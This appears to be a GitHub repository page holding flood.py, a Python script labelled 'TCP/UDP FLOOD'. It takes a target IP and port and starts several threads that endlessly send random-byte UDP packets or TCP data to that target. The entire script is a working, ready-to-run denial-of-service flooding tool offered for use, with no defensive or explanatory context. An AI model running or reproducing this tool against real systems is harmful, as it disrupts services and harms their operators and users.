-
Notifications
You must be signed in to change notification settings - Fork 80
/
Copy pathflood.py
58 lines (53 loc) · 1.45 KB
/
flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
#Code by LeeOn123
import argparse
import random
import socket
import threading
ap = argparse.ArgumentParser()
ap.add_argument("-i", "--ip", required=True, type=str, help="Host ip")
ap.add_argument("-p", "--port", required=True, type=int, help="Port")
ap.add_argument("-c", "--choice", type=str, default="y", help="UDP(y/n)")
ap.add_argument("-t", "--times", type=int, default=50000, help="Packets per one connection")
ap.add_argument("-th", "--threads", type=int, default=5, help="Threads")
args = vars(ap.parse_args())
print("--> C0de By Lee0n123 <--")
print("#-- TCP/UDP FLOOD --#")
ip = args['ip']
port = args['port']
choice = args['choice']
times = args['times']
threads = args['threads']
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i +" Sent!!!")
except:
print("[!] Error!!!")
def run2():
data = random._urandom(16)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +" Sent!!!")
except:
s.close()
print("[*] Error")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()